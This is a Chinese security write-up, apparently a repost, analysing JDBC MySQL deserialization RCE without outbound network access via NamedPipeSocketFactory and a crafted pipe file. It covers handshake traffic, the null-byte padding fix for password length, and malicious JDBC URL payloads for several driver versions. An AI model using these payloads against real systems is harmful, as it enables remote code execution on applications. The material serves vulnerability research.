文章总结: 文章剖析了JDBCMySQL不出网环境下利用NamedPipeSocket实现反序列化RCE的原理。针对连接密码导致NamedPipe响应错位的问题,作者通过分析MySQL握手流量,提出了在请求中填充字节以适配密码长度的解决方案,成功构造了恶意Pipe文件。文章涵盖了流量分析、调试细节及各版本驱动攻击Payload。 综合评分: 95 文章分类: 漏洞分析,WEB安全,内网渗透
JDBC Mysql不出网攻击-NamedPipeSocket原理剖析
seizer
李白你好
2026年1月8日 08:02 青海
免责声明:由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
从JDBC Mysql利用NamedPipeSocket实现不出网RCE到Mysql Handshake协议流量分析,理解FakeMysql Server实现原理,学习如何构造PipeFile来实现攻击。
文章作者:奇安信攻防社区(seizer)
文章来源:https://forum.butian.net/share/4705
1►
前言
在不出网的情况下,如下代码该如何利用?
String url = "jdbc:mysql://localhost:3306/" + dbname + "?useUnicode=true&characterEncoding=utf-8&useSSL=false";Connection connection = DriverManager.getConnection(url, "root", "root");
通过学习文章https://xz.aliyun.com/news/17830,可以知道用 NamedPipeSocketFactory 去打 JDBC 反序列化,然后通过 SpingBoot 上传临时文件,但在复现过程中我通过 java-chains 生成 Pipe 时发现当我输入password 时会导致利用失败,为了解决疑问记录此篇文章。
2►
漏洞原理
调用栈:
getObject:1402, ResultSetImpl (com.mysql.cj.jdbc)resultSetToMap:91, ResultSetUtil (com.mysql.cj.jdbc.util)populateMapWithSessionStatusValues:72, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)preProcess:86, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)preProcess:62, V1toV2StatementInterceptorAdapter (com.mysql.cj.jdbc.interceptors)preProcess:73, NoSubInterceptorWrapper (com.mysql.cj.jdbc.interceptors)invokeStatementInterceptorsPre:1392, MysqlaProtocol (com.mysql.cj.mysqla.io)sqlQueryDirect:1108, MysqlaProtocol (com.mysql.cj.mysqla.io)sqlQueryDirect:445, MysqlaSession (com.mysql.cj.mysqla)execSQL:2052, ConnectionImpl (com.mysql.cj.jdbc)execSQL:2014, ConnectionImpl (com.mysql.cj.jdbc)executeQuery:1424, StatementImpl (com.mysql.cj.jdbc)loadServerVariables:2948, ConnectionImpl (com.mysql.cj.jdbc)initializePropsFromServer:2456, ConnectionImpl (com.mysql.cj.jdbc)connectOneTryOnly:1817, ConnectionImpl (com.mysql.cj.jdbc)createNewIO:1673, ConnectionImpl (com.mysql.cj.jdbc)<init>:656, ConnectionImpl (com.mysql.cj.jdbc)getInstance:349, ConnectionImpl (com.mysql.cj.jdbc)connect:221, NonRegisteringDriver (com.mysql.cj.jdbc)getConnection:664, DriverManager (java.sql)getConnection:270, DriverManager (java.sql)
在 JDBC 连接数据库后会执行SHOW VARIABLES
当查询结果类型为 BLOB 时则会进行反序列化
3►
漏洞复现及探索分析
复现环境: jdk-17
使用 java-chains 生成利用链
测试代码如下
publicclassMysqlExp { publicstaticvoidmain(String[] args)throws SQLException { Stringurl="jdbc:mysql://xxx:8080/test?user=mysql&useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=calc.txt"; Connectionconnection= DriverManager.getConnection(url); }}
运行弹出计算器,为贴合实际环境,我将代码改为 DriverManager.getConnection(url, "username", "password")发现利用失败了。
4►
解决疑问
调试跟进getConnection方法,这里会把参数中的 user 和 password 存入 info
后续在com.mysql.cj.core.ConnectionString#ConnectionString 中解析 url 中的参数和 info 合并
深入解析方法可以看到 info 是在最后处理的,会覆盖掉 url 中原本存在的 user 还有 password
回到 java-chains 可以看到在生成 PipeFile 时需要填入一个 user 的参数,默认为 mysql
那么如果现在有如下一个环境
String url = "jdbc:mysql://localhost:3306/" + dbname + "?useUnicode=true&characterEncoding=utf-8&useSSL=false";Connection connection = DriverManager.getConnection(url, "root", "root");
这个时候只有 dbname 可控,显然对 url 后续的参数是完全可控的,user 也可以根据需要修改为 root,但是 password 在 java-chains 并未支持自定义
看到这里突然意识到一个问题:PipeFile 是一个什么文件,为什么还使用了错误的 user 和 password 会导致利用失败,难道与文件通信还需要鉴权吗?
NamedPipeSocket 是什么
遇到不会的问题就去问 AI
那什么又是 Named Pipe 命名管道呢?
经过与 AI 的深入交流,输出自己的理解:命名管道是一个通道,在 Linux 系统上可以体现为一个文件,它是通信的媒介,简单理解就是请求就写入文件,响应就读取文件,如下为 AI 给出的通信过程。
JDBC: CreateFile("\\.\pipe\mysql")MySQL: Accept named pipe clientJDBC: WriteFile → CLIENT_HANDSHAKEMySQL: ReadFileMySQL: WriteFile → SERVER_HANDSHAKEJDBC: ReadFileJDBC: WriteFile → LOGIN_REQUESTMySQL: ReadFileMySQL: WriteFile → OK_PACKETJDBC: ReadFileJDBC: WriteFile → QUERY("SELECT 1")MySQL: ReadFileMySQL: WriteFile → RESULTSETJDBC: ReadFileJDBC: close()MySQL: Disconnect pipe
- JDBC 创建
NamedPipe,Mysql 响应时写入 - JDBC 读取文件获取响应,请求即写入文件
- Mysql 读取文件即获取客户端响应
明白原理后,豁然开朗:
构造的恶意NamedPipe 实际上是不存在 Server 端的,只是在文件合适的位置放置 Mysql 响应以提供 JDBC 去读取,所以当输入密码后由于 JDBC 写入(请求)文件的字节数变多,从而导致溢出,导致原本防止 Mysql 响应的字节丢失,从而无法正确读取响应抛出异常
即然是这样,那么 JDBC 的写入内容我们根本无需理会,只需要关注写入的长度就好了,那之前使用 java-chains 生成的 NamedPipe 填写的用户名虽然是 mysql,但实际上在利用时只需要让 username 长度为 5 就好了,运行代码发现确实如此。
Mysql Handshake 流量分析
在构造NamedPipe 时,其实我们只需要预留足够长度的空间提供 JDBC 写入,然后再在之后位置写入 Mysql 响应即可,而需要 JDBC 写入的空间完全可以填写空字节占位就好了
通过抓包来看一下 Mysql 的通信过程,使用如下命令,否则流量会被 TSL 加密
mysql --ssl-mode=DISABLED -u username -p -h hostname
使用 Mysql 版本为 5.7.43
蓝色为 mysql 响应,红色为客户端请求,针对每一段进行解析,重点关注长度:
- mysql 响应,重点影响长度的因素为版本号和最后的密码认证方式(mysql_native_password 和 mysql_clear_password 只是其中 2 种),mysql_clear_password 即明文传输,但客户端不与服务端协商(即使返回mysql_clear_password 后续也会提交加密后的密码)
- 客户端请求,重点关注长度为 204 字节,其中重点包含 username 和加密后的 password
- mysql 响应,表示登陆成功,使用错误密码登陆流量如下
- 后续均为客户端执行语句即 mysql 响应
到此就可以开始构造NamedPipe 文件了,先编辑如下文件,然后使用 JDBC 去连接,获取请求
public class MysqlExp { public static void main(String[] args) throws SQLException { String url = "jdbc:mysql://xxx:8080/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=self.txt"; Connection connection = DriverManager.getConnection(url, "username", "password"); }}
运行之后新增 230 字节
后续再添加0700000200000002000000标识登陆成功
但这样还不够,客户端侧返回了太多版本信息,我们根本无法预料该留多少字节,这块看了一下响应包中的一些标志位
经过不懈努力,将 PLugin Auth 标志位置为 0 就可以实现
返回共 93 字节,无密码请求时返回字节为 73,相差 20 字节
从流量包中也可以看到加密的 Password 就是占 20 字节,这也就是为什么我们前面使用密码 JDBC 利用时会导致失败的原因
PipeFile 重构
恶意 NamePipeSocket 文件构造方式与 FakeMysql Server 相同,如下图为 java-chains 的构造方法
感兴趣可以继续深入其中原理,这里就不细阐述了,直接站在巨人的肩膀上实现利用
通过上文分析可知,最简单粗暴的方式就是在 JDBC 请求的内容中塞入 20 字节即可,下图直接在 username 中插入 20 空字节
成功利用!
5►
后记:MySQL-JDBC 反序列化链
ServerStatusDiffInterceptor链
8.0.20以下
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
6.x
属性名不同,queryInterceptors更改为statementInterceptors
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
>=5.1.11
jar包中没有cj
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.x <= 5.1.10
同5.1.11的payload,但需要连接后执行查询。
detectCustomCollations链
5.1.19-5.1.28:
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true
5.1.29-5.1.48:
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.49:不可用
6.0.2-6.0.6:
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?detectCustomCollations=true&autoDeserialize=true
8.x.x :不可用
6►
网络安全情报攻防站
www.libaisec.com
综合性的技术交流与资源共享社区
专注于红蓝对抗、攻防渗透、威胁情报、数据泄露
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:李白你好 seizer《JDBC Mysql不出网攻击-NamedPipeSocket原理剖析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论